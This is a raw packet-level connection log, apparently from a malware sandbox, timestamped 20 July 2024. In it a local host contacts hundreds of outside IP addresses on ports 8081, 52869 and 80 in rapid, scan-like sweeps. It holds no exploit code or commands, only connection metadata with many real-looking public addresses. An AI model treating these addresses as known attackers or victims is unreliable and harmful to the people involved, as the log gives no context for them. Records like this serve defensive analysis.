Jul 20, 2024 23:01:02.757385015 CEST	8081	58530	220.34.138.145	192.168.2.14
Jul 20, 2024 23:01:02.757425070 CEST	58530	8081	192.168.2.14	220.34.138.145
Jul 20, 2024 23:01:02.758073092 CEST	36662	52869	192.168.2.14	198.112.106.164
Jul 20, 2024 23:01:02.758073092 CEST	47274	8081	192.168.2.14	99.217.244.226
Jul 20, 2024 23:01:02.758229017 CEST	60168	52869	192.168.2.14	31.235.249.101
Jul 20, 2024 23:01:02.759145021 CEST	42798	52869	192.168.2.14	68.93.103.227
Jul 20, 2024 23:01:02.761205912 CEST	37320	8081	192.168.2.14	174.66.196.189
Jul 20, 2024 23:01:02.761848927 CEST	8081	41616	208.88.231.250	192.168.2.14
Jul 20, 2024 23:01:02.761897087 CEST	41616	8081	192.168.2.14	208.88.231.250
Jul 20, 2024 23:01:02.762455940 CEST	49146	8081	192.168.2.14	79.211.151.120
Jul 20, 2024 23:01:02.763951063 CEST	52869	42798	68.93.103.227	192.168.2.14
Jul 20, 2024 23:01:02.764266014 CEST	42798	52869	192.168.2.14	68.93.103.227
Jul 20, 2024 23:01:02.764405012 CEST	44008	52869	192.168.2.14	191.124.131.163
Jul 20, 2024 23:01:02.765605927 CEST	8081	40108	4.252.192.158	192.168.2.14
Jul 20, 2024 23:01:02.765938044 CEST	52869	36662	198.112.106.164	192.168.2.14
Jul 20, 2024 23:01:02.766119003 CEST	53556	8081	192.168.2.14	116.112.246.232
Jul 20, 2024 23:01:02.766439915 CEST	36662	52869	192.168.2.14	198.112.106.164
Jul 20, 2024 23:01:02.766733885 CEST	8081	37320	174.66.196.189	192.168.2.14
Jul 20, 2024 23:01:02.766789913 CEST	37320	8081	192.168.2.14	174.66.196.189
Jul 20, 2024 23:01:02.768630981 CEST	35510	52869	192.168.2.14	146.178.29.63
Jul 20, 2024 23:01:02.769507885 CEST	51698	8081	192.168.2.14	126.223.59.180
Jul 20, 2024 23:01:02.769798040 CEST	52869	44008	191.124.131.163	192.168.2.14
Jul 20, 2024 23:01:02.769995928 CEST	44008	52869	192.168.2.14	191.124.131.163
Jul 20, 2024 23:01:02.770498991 CEST	40108	8081	192.168.2.14	4.252.192.158
Jul 20, 2024 23:01:02.771717072 CEST	8081	53556	116.112.246.232	192.168.2.14
Jul 20, 2024 23:01:02.772206068 CEST	53556	8081	192.168.2.14	116.112.246.232
Jul 20, 2024 23:01:02.773047924 CEST	46728	52869	192.168.2.14	20.43.107.217
Jul 20, 2024 23:01:02.773766041 CEST	54574	8081	192.168.2.14	87.233.63.246
Jul 20, 2024 23:01:02.773883104 CEST	52869	35510	146.178.29.63	192.168.2.14
Jul 20, 2024 23:01:02.773941994 CEST	35510	52869	192.168.2.14	146.178.29.63
Jul 20, 2024 23:01:02.774884939 CEST	8081	51698	126.223.59.180	192.168.2.14
Jul 20, 2024 23:01:02.774940014 CEST	51698	8081	192.168.2.14	126.223.59.180
Jul 20, 2024 23:01:02.776470900 CEST	52869	41716	64.117.200.225	192.168.2.14
Jul 20, 2024 23:01:02.776604891 CEST	51189	80	192.168.2.14	88.155.211.121
Jul 20, 2024 23:01:02.776640892 CEST	51189	80	192.168.2.14	88.223.31.53
Jul 20, 2024 23:01:02.776681900 CEST	51189	80	192.168.2.14	88.136.6.69
Jul 20, 2024 23:01:02.776698112 CEST	51189	80	192.168.2.14	88.233.144.121
Jul 20, 2024 23:01:02.776763916 CEST	51189	80	192.168.2.14	88.78.175.196
Jul 20, 2024 23:01:02.776825905 CEST	51189	80	192.168.2.14	88.243.184.18
Jul 20, 2024 23:01:02.776876926 CEST	51189	80	192.168.2.14	88.131.51.231
Jul 20, 2024 23:01:02.776881933 CEST	51189	80	192.168.2.14	88.188.67.56
Jul 20, 2024 23:01:02.776943922 CEST	51189	80	192.168.2.14	88.132.0.251
Jul 20, 2024 23:01:02.776943922 CEST	51189	80	192.168.2.14	88.237.227.103
Jul 20, 2024 23:01:02.776998043 CEST	51189	80	192.168.2.14	88.199.113.147
Jul 20, 2024 23:01:02.777050018 CEST	51189	80	192.168.2.14	88.83.160.236
Jul 20, 2024 23:01:02.777050018 CEST	51189	80	192.168.2.14	88.187.107.190
Jul 20, 2024 23:01:02.777070045 CEST	51189	80	192.168.2.14	88.80.24.70
Jul 20, 2024 23:01:02.777102947 CEST	51189	80	192.168.2.14	88.140.107.153
Jul 20, 2024 23:01:02.777163982 CEST	51189	80	192.168.2.14	88.103.185.238
Jul 20, 2024 23:01:02.777164936 CEST	51189	80	192.168.2.14	88.15.230.21
Jul 20, 2024 23:01:02.777221918 CEST	51189	80	192.168.2.14	88.110.158.219
Jul 20, 2024 23:01:02.777226925 CEST	51189	80	192.168.2.14	88.196.97.230
Jul 20, 2024 23:01:02.777275085 CEST	51189	80	192.168.2.14	88.110.138.111
Jul 20, 2024 23:01:02.777286053 CEST	51189	80	192.168.2.14	88.48.144.186
Jul 20, 2024 23:01:02.777286053 CEST	51189	80	192.168.2.14	88.68.196.151
Jul 20, 2024 23:01:02.777415991 CEST	51189	80	192.168.2.14	88.98.199.63
Jul 20, 2024 23:01:02.777462006 CEST	51189	80	192.168.2.14	88.180.7.198
Jul 20, 2024 23:01:02.777462006 CEST	51189	80	192.168.2.14	88.175.150.161
Jul 20, 2024 23:01:02.777462006 CEST	51189	80	192.168.2.14	88.75.150.33
Jul 20, 2024 23:01:02.777462006 CEST	51189	80	192.168.2.14	88.168.101.89
Jul 20, 2024 23:01:02.777462006 CEST	51189	80	192.168.2.14	88.19.203.46
Jul 20, 2024 23:01:02.777462006 CEST	51189	80	192.168.2.14	88.125.81.6
Jul 20, 2024 23:01:02.777462006 CEST	51189	80	192.168.2.14	88.201.201.135
Jul 20, 2024 23:01:02.777477026 CEST	51189	80	192.168.2.14	88.221.84.234
Jul 20, 2024 23:01:02.777481079 CEST	51189	80	192.168.2.14	88.108.204.27
Jul 20, 2024 23:01:02.777508974 CEST	51189	80	192.168.2.14	88.118.157.198
Jul 20, 2024 23:01:02.777544975 CEST	51189	80	192.168.2.14	88.123.101.58
Jul 20, 2024 23:01:02.777595997 CEST	51189	80	192.168.2.14	88.188.88.83
Jul 20, 2024 23:01:02.777677059 CEST	51189	80	192.168.2.14	88.2.160.217
Jul 20, 2024 23:01:02.777683973 CEST	51189	80	192.168.2.14	88.156.120.202
Jul 20, 2024 23:01:02.777683973 CEST	51189	80	192.168.2.14	88.250.93.220
Jul 20, 2024 23:01:02.777683973 CEST	51189	80	192.168.2.14	88.87.248.5
Jul 20, 2024 23:01:02.777709007 CEST	51189	80	192.168.2.14	88.55.243.24
Jul 20, 2024 23:01:02.777755976 CEST	51189	80	192.168.2.14	88.176.160.1
Jul 20, 2024 23:01:02.777766943 CEST	51189	80	192.168.2.14	88.213.214.1
Jul 20, 2024 23:01:02.777802944 CEST	51189	80	192.168.2.14	88.174.12.147
Jul 20, 2024 23:01:02.777802944 CEST	51189	80	192.168.2.14	88.52.76.210
Jul 20, 2024 23:01:02.777802944 CEST	51189	80	192.168.2.14	88.221.170.11
Jul 20, 2024 23:01:02.777875900 CEST	51189	80	192.168.2.14	88.97.77.52
Jul 20, 2024 23:01:02.777875900 CEST	51189	80	192.168.2.14	88.175.37.60
Jul 20, 2024 23:01:02.777879000 CEST	51189	80	192.168.2.14	88.91.76.143
Jul 20, 2024 23:01:02.777952909 CEST	51189	80	192.168.2.14	88.203.152.41
Jul 20, 2024 23:01:02.777971029 CEST	51189	80	192.168.2.14	88.1.146.16
Jul 20, 2024 23:01:02.777981997 CEST	51189	80	192.168.2.14	88.128.222.106
Jul 20, 2024 23:01:02.777981997 CEST	51189	80	192.168.2.14	88.15.184.30
Jul 20, 2024 23:01:02.778013945 CEST	51189	80	192.168.2.14	88.159.130.15
Jul 20, 2024 23:01:02.778024912 CEST	51189	80	192.168.2.14	88.211.155.172
Jul 20, 2024 23:01:02.778048038 CEST	51189	80	192.168.2.14	88.53.251.47
Jul 20, 2024 23:01:02.778052092 CEST	51189	80	192.168.2.14	88.18.44.82
Jul 20, 2024 23:01:02.778073072 CEST	51189	80	192.168.2.14	88.134.152.154
Jul 20, 2024 23:01:02.778116941 CEST	51189	80	192.168.2.14	88.208.181.110
Jul 20, 2024 23:01:02.778130054 CEST	51189	80	192.168.2.14	88.152.28.143
Jul 20, 2024 23:01:02.778156042 CEST	51189	80	192.168.2.14	88.255.65.77
Jul 20, 2024 23:01:02.778181076 CEST	51189	80	192.168.2.14	88.164.16.102
Jul 20, 2024 23:01:02.778254986 CEST	51189	80	192.168.2.14	88.172.43.17
Jul 20, 2024 23:01:02.778254986 CEST	51189	80	192.168.2.14	88.103.9.128
Jul 20, 2024 23:01:02.778265953 CEST	51189	80	192.168.2.14	88.95.30.227
Jul 20, 2024 23:01:02.778265953 CEST	51189	80	192.168.2.14	88.227.18.64
Jul 20, 2024 23:01:02.778265953 CEST	51189	80	192.168.2.14	88.181.89.82
Jul 20, 2024 23:01:02.778265953 CEST	51189	80	192.168.2.14	88.2.115.204
Jul 20, 2024 23:01:02.778265953 CEST	51189	80	192.168.2.14	88.242.203.227
Jul 20, 2024 23:01:02.778266907 CEST	51189	80	192.168.2.14	88.108.246.4
Jul 20, 2024 23:01:02.778352976 CEST	51189	80	192.168.2.14	88.69.209.2
Jul 20, 2024 23:01:02.778381109 CEST	51189	80	192.168.2.14	88.103.9.200
Jul 20, 2024 23:01:02.778381109 CEST	51189	80	192.168.2.14	88.47.125.186
Jul 20, 2024 23:01:02.778387070 CEST	51189	80	192.168.2.14	88.58.165.5
Jul 20, 2024 23:01:02.778387070 CEST	51189	80	192.168.2.14	88.50.79.188
Jul 20, 2024 23:01:02.778428078 CEST	51189	80	192.168.2.14	88.71.20.253
Jul 20, 2024 23:01:02.778481007 CEST	51189	80	192.168.2.14	88.59.236.199
Jul 20, 2024 23:01:02.778481007 CEST	51189	80	192.168.2.14	88.150.241.255
Jul 20, 2024 23:01:02.778482914 CEST	52869	46728	20.43.107.217	192.168.2.14
Jul 20, 2024 23:01:02.778528929 CEST	51189	80	192.168.2.14	88.66.165.132
Jul 20, 2024 23:01:02.778610945 CEST	51189	80	192.168.2.14	88.216.42.200
Jul 20, 2024 23:01:02.778640985 CEST	51189	80	192.168.2.14	88.69.196.252
Jul 20, 2024 23:01:02.778676987 CEST	51189	80	192.168.2.14	88.86.133.2
Jul 20, 2024 23:01:02.778696060 CEST	51189	80	192.168.2.14	88.152.93.207
Jul 20, 2024 23:01:02.778696060 CEST	51189	80	192.168.2.14	88.146.223.51
Jul 20, 2024 23:01:02.778696060 CEST	51189	80	192.168.2.14	88.199.140.138
Jul 20, 2024 23:01:02.778696060 CEST	51189	80	192.168.2.14	88.195.63.204
Jul 20, 2024 23:01:02.778697014 CEST	51189	80	192.168.2.14	88.237.36.191
Jul 20, 2024 23:01:02.778697014 CEST	51189	80	192.168.2.14	88.16.249.255
Jul 20, 2024 23:01:02.778697014 CEST	51189	80	192.168.2.14	88.75.56.74
Jul 20, 2024 23:01:02.778697014 CEST	51189	80	192.168.2.14	88.149.0.172
Jul 20, 2024 23:01:02.778716087 CEST	51189	80	192.168.2.14	88.246.43.58
Jul 20, 2024 23:01:02.778716087 CEST	51189	80	192.168.2.14	88.181.100.39
Jul 20, 2024 23:01:02.778737068 CEST	51189	80	192.168.2.14	88.129.197.236
Jul 20, 2024 23:01:02.778737068 CEST	51189	80	192.168.2.14	88.239.147.173
Jul 20, 2024 23:01:02.778737068 CEST	51189	80	192.168.2.14	88.89.19.136
Jul 20, 2024 23:01:02.778784990 CEST	51189	80	192.168.2.14	88.15.251.194
Jul 20, 2024 23:01:02.778786898 CEST	51189	80	192.168.2.14	88.200.117.158
Jul 20, 2024 23:01:02.778803110 CEST	51189	80	192.168.2.14	88.72.161.170
Jul 20, 2024 23:01:02.778803110 CEST	51189	80	192.168.2.14	88.126.235.20
Jul 20, 2024 23:01:02.778803110 CEST	51189	80	192.168.2.14	88.55.196.37
Jul 20, 2024 23:01:02.778803110 CEST	51189	80	192.168.2.14	88.97.194.71
Jul 20, 2024 23:01:02.778803110 CEST	51189	80	192.168.2.14	88.100.27.107
Jul 20, 2024 23:01:02.778803110 CEST	51189	80	192.168.2.14	88.178.123.253
Jul 20, 2024 23:01:02.778803110 CEST	51189	80	192.168.2.14	88.2.101.45
Jul 20, 2024 23:01:02.778803110 CEST	51189	80	192.168.2.14	88.116.48.128
Jul 20, 2024 23:01:02.778847933 CEST	51189	80	192.168.2.14	88.150.95.7
Jul 20, 2024 23:01:02.778879881 CEST	51189	80	192.168.2.14	88.216.81.106
Jul 20, 2024 23:01:02.778879881 CEST	51189	80	192.168.2.14	88.177.58.8
Jul 20, 2024 23:01:02.778879881 CEST	51189	80	192.168.2.14	88.190.203.108
Jul 20, 2024 23:01:02.778879881 CEST	51189	80	192.168.2.14	88.114.121.160
Jul 20, 2024 23:01:02.778879881 CEST	51189	80	192.168.2.14	88.185.141.139
Jul 20, 2024 23:01:02.778966904 CEST	51189	80	192.168.2.14	88.248.240.59
Jul 20, 2024 23:01:02.779038906 CEST	51189	80	192.168.2.14	88.122.37.192
Jul 20, 2024 23:01:02.779038906 CEST	51189	80	192.168.2.14	88.166.200.112
Jul 20, 2024 23:01:02.779058933 CEST	51189	80	192.168.2.14	88.146.3.237
Jul 20, 2024 23:01:02.779149055 CEST	8081	54574	87.233.63.246	192.168.2.14
Jul 20, 2024 23:01:02.779162884 CEST	51189	80	192.168.2.14	88.113.172.94
Jul 20, 2024 23:01:02.779162884 CEST	51189	80	192.168.2.14	88.124.198.13
Jul 20, 2024 23:01:02.779217958 CEST	51189	80	192.168.2.14	88.88.246.134
Jul 20, 2024 23:01:02.779253960 CEST	51189	80	192.168.2.14	88.115.140.142
Jul 20, 2024 23:01:02.779253960 CEST	51189	80	192.168.2.14	88.74.54.244
Jul 20, 2024 23:01:02.779284000 CEST	51189	80	192.168.2.14	88.182.109.223
Jul 20, 2024 23:01:02.779284000 CEST	51189	80	192.168.2.14	88.171.40.89
Jul 20, 2024 23:01:02.779284000 CEST	54574	8081	192.168.2.14	87.233.63.246
Jul 20, 2024 23:01:02.779290915 CEST	51189	80	192.168.2.14	88.57.238.44
Jul 20, 2024 23:01:02.779448986 CEST	51189	80	192.168.2.14	88.68.117.27
Jul 20, 2024 23:01:02.779501915 CEST	51189	80	192.168.2.14	88.96.153.185
Jul 20, 2024 23:01:02.779520035 CEST	51189	80	192.168.2.14	88.180.119.239
Jul 20, 2024 23:01:02.779520035 CEST	51189	80	192.168.2.14	88.83.104.54
Jul 20, 2024 23:01:02.779622078 CEST	51189	80	192.168.2.14	88.3.46.125
Jul 20, 2024 23:01:02.779622078 CEST	51189	80	192.168.2.14	88.62.186.197
Jul 20, 2024 23:01:02.779622078 CEST	51189	80	192.168.2.14	88.157.224.207
Jul 20, 2024 23:01:02.779622078 CEST	51189	80	192.168.2.14	88.50.124.68
Jul 20, 2024 23:01:02.779622078 CEST	51189	80	192.168.2.14	88.119.110.229
Jul 20, 2024 23:01:02.779622078 CEST	51189	80	192.168.2.14	88.233.42.32
Jul 20, 2024 23:01:02.779732943 CEST	51189	80	192.168.2.14	88.80.97.144
Jul 20, 2024 23:01:02.779732943 CEST	51189	80	192.168.2.14	88.185.244.150
Jul 20, 2024 23:01:02.779732943 CEST	51189	80	192.168.2.14	88.250.108.83
Jul 20, 2024 23:01:02.779791117 CEST	51189	80	192.168.2.14	88.88.45.221
Jul 20, 2024 23:01:02.779791117 CEST	51189	80	192.168.2.14	88.46.61.15
Jul 20, 2024 23:01:02.779791117 CEST	51189	80	192.168.2.14	88.56.47.134
Jul 20, 2024 23:01:02.779815912 CEST	51189	80	192.168.2.14	88.212.11.107
Jul 20, 2024 23:01:02.779815912 CEST	51189	80	192.168.2.14	88.24.181.230
Jul 20, 2024 23:01:02.779815912 CEST	51189	80	192.168.2.14	88.173.81.167
Jul 20, 2024 23:01:02.779815912 CEST	51189	80	192.168.2.14	88.100.223.236
Jul 20, 2024 23:01:02.779844046 CEST	51189	80	192.168.2.14	88.124.73.142
Jul 20, 2024 23:01:02.779844046 CEST	51189	80	192.168.2.14	88.44.32.170
Jul 20, 2024 23:01:02.779844046 CEST	51189	80	192.168.2.14	88.80.253.125
Jul 20, 2024 23:01:02.779844046 CEST	51189	80	192.168.2.14	88.190.242.207
Jul 20, 2024 23:01:02.780607939 CEST	51189	80	192.168.2.14	88.49.32.255
Jul 20, 2024 23:01:02.780607939 CEST	51189	80	192.168.2.14	88.132.85.166
Jul 20, 2024 23:01:02.780607939 CEST	51189	80	192.168.2.14	88.159.86.239
Jul 20, 2024 23:01:02.780607939 CEST	51189	80	192.168.2.14	88.95.116.43
Jul 20, 2024 23:01:02.780607939 CEST	51189	80	192.168.2.14	88.215.110.106
Jul 20, 2024 23:01:02.780607939 CEST	51189	80	192.168.2.14	88.60.199.232
Jul 20, 2024 23:01:02.780666113 CEST	51189	80	192.168.2.14	88.69.2.48
Jul 20, 2024 23:01:02.780666113 CEST	46728	52869	192.168.2.14	20.43.107.217
Jul 20, 2024 23:01:02.780666113 CEST	51189	80	192.168.2.14	88.132.158.249
Jul 20, 2024 23:01:02.781039000 CEST	51189	80	192.168.2.14	88.238.81.124
Jul 20, 2024 23:01:02.781039000 CEST	51189	80	192.168.2.14	88.247.58.31
Jul 20, 2024 23:01:02.781039000 CEST	51189	80	192.168.2.14	88.22.10.54
Jul 20, 2024 23:01:02.781039000 CEST	51189	80	192.168.2.14	88.45.107.71
Jul 20, 2024 23:01:02.781039953 CEST	51189	80	192.168.2.14	88.201.25.148
Jul 20, 2024 23:01:02.781039953 CEST	51189	80	192.168.2.14	88.252.10.29
Jul 20, 2024 23:01:02.781611919 CEST	80	51189	88.155.211.121	192.168.2.14
Jul 20, 2024 23:01:02.781618118 CEST	80	51189	88.223.31.53	192.168.2.14
Jul 20, 2024 23:01:02.781626940 CEST	80	51189	88.136.6.69	192.168.2.14
Jul 20, 2024 23:01:02.781632900 CEST	80	51189	88.233.144.121	192.168.2.14
Jul 20, 2024 23:01:02.781657934 CEST	51189	80	192.168.2.14	88.155.211.121
Jul 20, 2024 23:01:02.781657934 CEST	51189	80	192.168.2.14	88.223.31.53
Jul 20, 2024 23:01:02.781682968 CEST	51189	80	192.168.2.14	88.136.6.69
Jul 20, 2024 23:01:02.781685114 CEST	51189	80	192.168.2.14	88.233.144.121
Jul 20, 2024 23:01:02.781877995 CEST	80	51189	88.78.175.196	192.168.2.14
Jul 20, 2024 23:01:02.781883001 CEST	80	51189	88.243.184.18	192.168.2.14
Jul 20, 2024 23:01:02.781888962 CEST	80	51189	88.188.67.56	192.168.2.14
Jul 20, 2024 23:01:02.781898022 CEST	80	51189	88.131.51.231	192.168.2.14
Jul 20, 2024 23:01:02.781915903 CEST	51189	80	192.168.2.14	88.78.175.196
Jul 20, 2024 23:01:02.781925917 CEST	51189	80	192.168.2.14	88.188.67.56
Jul 20, 2024 23:01:02.781925917 CEST	51189	80	192.168.2.14	88.243.184.18
Jul 20, 2024 23:01:02.781980038 CEST	80	51189	88.132.0.251	192.168.2.14
Jul 20, 2024 23:01:02.781985044 CEST	80	51189	88.237.227.103	192.168.2.14
Jul 20, 2024 23:01:02.781989098 CEST	80	51189	88.199.113.147	192.168.2.14
Jul 20, 2024 23:01:02.782016993 CEST	51189	80	192.168.2.14	88.132.0.251
Jul 20, 2024 23:01:02.782038927 CEST	51189	80	192.168.2.14	88.237.227.103
Jul 20, 2024 23:01:02.782131910 CEST	51189	80	192.168.2.14	88.199.113.147
Jul 20, 2024 23:01:02.782140970 CEST	80	51189	88.83.160.236	192.168.2.14
Jul 20, 2024 23:01:02.782176971 CEST	51189	80	192.168.2.14	88.83.160.236
Jul 20, 2024 23:01:02.782229900 CEST	41716	52869	192.168.2.14	64.117.200.225
Jul 20, 2024 23:01:02.782237053 CEST	51189	80	192.168.2.14	88.131.51.231
Jul 20, 2024 23:01:02.782413006 CEST	80	51189	88.80.24.70	192.168.2.14
Jul 20, 2024 23:01:02.782418013 CEST	80	51189	88.187.107.190	192.168.2.14
Jul 20, 2024 23:01:02.782422066 CEST	80	51189	88.140.107.153	192.168.2.14
Jul 20, 2024 23:01:02.782426119 CEST	80	51189	88.103.185.238	192.168.2.14
Jul 20, 2024 23:01:02.782429934 CEST	80	51189	88.15.230.21	192.168.2.14
Jul 20, 2024 23:01:02.782432079 CEST	55808	8081	192.168.2.14	173.82.125.86
Jul 20, 2024 23:01:02.782434940 CEST	80	51189	88.110.158.219	192.168.2.14
Jul 20, 2024 23:01:02.782444000 CEST	80	51189	88.196.97.230	192.168.2.14
Jul 20, 2024 23:01:02.782448053 CEST	80	51189	88.110.138.111	192.168.2.14
Jul 20, 2024 23:01:02.782452106 CEST	80	51189	88.48.144.186	192.168.2.14
Jul 20, 2024 23:01:02.782454967 CEST	51189	80	192.168.2.14	88.140.107.153
Jul 20, 2024 23:01:02.782455921 CEST	80	51189	88.68.196.151	192.168.2.14
Jul 20, 2024 23:01:02.782457113 CEST	51189	80	192.168.2.14	88.103.185.238
Jul 20, 2024 23:01:02.782485962 CEST	51189	80	192.168.2.14	88.15.230.21
Jul 20, 2024 23:01:02.782485962 CEST	51189	80	192.168.2.14	88.187.107.190
Jul 20, 2024 23:01:02.782485962 CEST	51189	80	192.168.2.14	88.110.158.219
Jul 20, 2024 23:01:02.782488108 CEST	51189	80	192.168.2.14	88.80.24.70
Jul 20, 2024 23:01:02.782488108 CEST	51189	80	192.168.2.14	88.196.97.230
Jul 20, 2024 23:01:02.782494068 CEST	51189	80	192.168.2.14	88.48.144.186
Jul 20, 2024 23:01:02.782499075 CEST	51189	80	192.168.2.14	88.110.138.111
Jul 20, 2024 23:01:02.782604933 CEST	51189	80	192.168.2.14	88.68.196.151
Jul 20, 2024 23:01:02.782915115 CEST	43108	52869	192.168.2.14	160.191.28.144
Jul 20, 2024 23:01:02.783091068 CEST	80	51189	88.98.199.63	192.168.2.14
Jul 20, 2024 23:01:02.783096075 CEST	80	51189	88.221.84.234	192.168.2.14
Jul 20, 2024 23:01:02.783101082 CEST	80	51189	88.108.204.27	192.168.2.14
Jul 20, 2024 23:01:02.783134937 CEST	51189	80	192.168.2.14	88.98.199.63
Jul 20, 2024 23:01:02.783134937 CEST	51189	80	192.168.2.14	88.108.204.27
Jul 20, 2024 23:01:02.783134937 CEST	51189	80	192.168.2.14	88.221.84.234
Jul 20, 2024 23:01:02.783253908 CEST	80	51189	88.180.7.198	192.168.2.14
Jul 20, 2024 23:01:02.783258915 CEST	80	51189	88.118.157.198	192.168.2.14
Jul 20, 2024 23:01:02.783262968 CEST	80	51189	88.175.150.161	192.168.2.14
Jul 20, 2024 23:01:02.783267021 CEST	80	51189	88.123.101.58	192.168.2.14
Jul 20, 2024 23:01:02.783271074 CEST	80	51189	88.75.150.33	192.168.2.14
Jul 20, 2024 23:01:02.783274889 CEST	80	51189	88.188.88.83	192.168.2.14
Jul 20, 2024 23:01:02.783278942 CEST	80	51189	88.168.101.89	192.168.2.14
Jul 20, 2024 23:01:02.783287048 CEST	51189	80	192.168.2.14	88.123.101.58
Jul 20, 2024 23:01:02.783288002 CEST	80	51189	88.19.203.46	192.168.2.14
Jul 20, 2024 23:01:02.783288956 CEST	51189	80	192.168.2.14	88.118.157.198
Jul 20, 2024 23:01:02.783293009 CEST	80	51189	88.125.81.6	192.168.2.14
Jul 20, 2024 23:01:02.783297062 CEST	80	51189	88.201.201.135	192.168.2.14
Jul 20, 2024 23:01:02.783297062 CEST	51189	80	192.168.2.14	88.180.7.198
Jul 20, 2024 23:01:02.783301115 CEST	80	51189	88.2.160.217	192.168.2.14
Jul 20, 2024 23:01:02.783305883 CEST	80	51189	88.156.120.202	192.168.2.14
Jul 20, 2024 23:01:02.783308983 CEST	80	51189	88.55.243.24	192.168.2.14
Jul 20, 2024 23:01:02.783318043 CEST	51189	80	192.168.2.14	88.188.88.83
Jul 20, 2024 23:01:02.783356905 CEST	51189	80	192.168.2.14	88.55.243.24
Jul 20, 2024 23:01:02.783364058 CEST	51189	80	192.168.2.14	88.175.150.161
Jul 20, 2024 23:01:02.783364058 CEST	51189	80	192.168.2.14	88.75.150.33
Jul 20, 2024 23:01:02.783364058 CEST	51189	80	192.168.2.14	88.168.101.89
Jul 20, 2024 23:01:02.783364058 CEST	51189	80	192.168.2.14	88.19.203.46
Jul 20, 2024 23:01:02.783364058 CEST	51189	80	192.168.2.14	88.201.201.135
Jul 20, 2024 23:01:02.783364058 CEST	51189	80	192.168.2.14	88.125.81.6
Jul 20, 2024 23:01:02.783364058 CEST	51189	80	192.168.2.14	88.156.120.202
Jul 20, 2024 23:01:02.783483028 CEST	51189	80	192.168.2.14	88.2.160.217
Jul 20, 2024 23:01:02.783576012 CEST	80	51189	88.250.93.220	192.168.2.14
Jul 20, 2024 23:01:02.783581018 CEST	80	51189	88.176.160.1	192.168.2.14
Jul 20, 2024 23:01:02.783585072 CEST	80	51189	88.87.248.5	192.168.2.14
Jul 20, 2024 23:01:02.783588886 CEST	80	51189	88.213.214.1	192.168.2.14
Jul 20, 2024 23:01:02.783592939 CEST	80	51189	88.221.170.11	192.168.2.14
Jul 20, 2024 23:01:02.783596992 CEST	80	51189	88.174.12.147	192.168.2.14
Jul 20, 2024 23:01:02.783605099 CEST	80	51189	88.52.76.210	192.168.2.14
Jul 20, 2024 23:01:02.783617973 CEST	80	51189	88.97.77.52	192.168.2.14
Jul 20, 2024 23:01:02.783618927 CEST	51189	80	192.168.2.14	88.176.160.1
Jul 20, 2024 23:01:02.783622026 CEST	80	51189	88.91.76.143	192.168.2.14
Jul 20, 2024 23:01:02.783627033 CEST	80	51189	88.175.37.60	192.168.2.14
Jul 20, 2024 23:01:02.783627987 CEST	51189	80	192.168.2.14	88.213.214.1
Jul 20, 2024 23:01:02.783631086 CEST	80	51189	88.203.152.41	192.168.2.14
Jul 20, 2024 23:01:02.783634901 CEST	80	51189	88.1.146.16	192.168.2.14
Jul 20, 2024 23:01:02.783636093 CEST	51189	80	192.168.2.14	88.91.76.143
Jul 20, 2024 23:01:02.783636093 CEST	51189	80	192.168.2.14	88.221.170.11
Jul 20, 2024 23:01:02.783638954 CEST	80	51189	88.211.155.172	192.168.2.14
Jul 20, 2024 23:01:02.783643007 CEST	80	51189	88.18.44.82	192.168.2.14
Jul 20, 2024 23:01:02.783647060 CEST	80	51189	88.159.130.15	192.168.2.14
Jul 20, 2024 23:01:02.783654928 CEST	80	51189	88.134.152.154	192.168.2.14
Jul 20, 2024 23:01:02.783658981 CEST	80	51189	88.53.251.47	192.168.2.14
Jul 20, 2024 23:01:02.783660889 CEST	51189	80	192.168.2.14	88.250.93.220
Jul 20, 2024 23:01:02.783660889 CEST	51189	80	192.168.2.14	88.87.248.5
Jul 20, 2024 23:01:02.783662081 CEST	51189	80	192.168.2.14	88.174.12.147
Jul 20, 2024 23:01:02.783662081 CEST	51189	80	192.168.2.14	88.52.76.210
Jul 20, 2024 23:01:02.783663034 CEST	80	51189	88.208.181.110	192.168.2.14
Jul 20, 2024 23:01:02.783663988 CEST	51189	80	192.168.2.14	88.97.77.52
Jul 20, 2024 23:01:02.783663988 CEST	51189	80	192.168.2.14	88.175.37.60
Jul 20, 2024 23:01:02.783667088 CEST	80	51189	88.255.65.77	192.168.2.14
Jul 20, 2024 23:01:02.783670902 CEST	80	51189	88.164.16.102	192.168.2.14
Jul 20, 2024 23:01:02.783674955 CEST	80	51189	88.152.28.143	192.168.2.14
Jul 20, 2024 23:01:02.783679008 CEST	51189	80	192.168.2.14	88.18.44.82
Jul 20, 2024 23:01:02.783679962 CEST	80	51189	88.128.222.106	192.168.2.14
Jul 20, 2024 23:01:02.783684969 CEST	80	51189	88.172.43.17	192.168.2.14
Jul 20, 2024 23:01:02.783689022 CEST	80	51189	88.15.184.30	192.168.2.14
Jul 20, 2024 23:01:02.783710957 CEST	51189	80	192.168.2.14	88.152.28.143
Jul 20, 2024 23:01:02.783741951 CEST	35804	80	192.168.2.14	88.161.150.191
Jul 20, 2024 23:01:02.783742905 CEST	51189	80	192.168.2.14	88.203.152.41
Jul 20, 2024 23:01:02.783742905 CEST	51189	80	192.168.2.14	88.159.130.15
Jul 20, 2024 23:01:02.783771038 CEST	51189	80	192.168.2.14	88.211.155.172
Jul 20, 2024 23:01:02.783771038 CEST	51189	80	192.168.2.14	88.134.152.154
Jul 20, 2024 23:01:02.783771038 CEST	51189	80	192.168.2.14	88.208.181.110
Jul 20, 2024 23:01:02.783771038 CEST	51189	80	192.168.2.14	88.164.16.102
Jul 20, 2024 23:01:02.783787012 CEST	80	51189	88.103.9.128	192.168.2.14
Jul 20, 2024 23:01:02.783791065 CEST	80	51189	88.103.9.200	192.168.2.14
Jul 20, 2024 23:01:02.783799887 CEST	80	51189	88.58.165.5	192.168.2.14
Jul 20, 2024 23:01:02.783803940 CEST	80	51189	88.47.125.186	192.168.2.14
Jul 20, 2024 23:01:02.783857107 CEST	51189	80	192.168.2.14	88.1.146.16
Jul 20, 2024 23:01:02.783857107 CEST	51189	80	192.168.2.14	88.53.251.47
Jul 20, 2024 23:01:02.783857107 CEST	51189	80	192.168.2.14	88.255.65.77
Jul 20, 2024 23:01:02.784004927 CEST	80	51189	88.95.30.227	192.168.2.14
Jul 20, 2024 23:01:02.784009933 CEST	80	51189	88.71.20.253	192.168.2.14
Jul 20, 2024 23:01:02.784013987 CEST	80	51189	88.50.79.188	192.168.2.14
Jul 20, 2024 23:01:02.784074068 CEST	51189	80	192.168.2.14	88.95.30.227
Jul 20, 2024 23:01:02.784102917 CEST	51189	80	192.168.2.14	88.128.222.106
Jul 20, 2024 23:01:02.784102917 CEST	51189	80	192.168.2.14	88.15.184.30
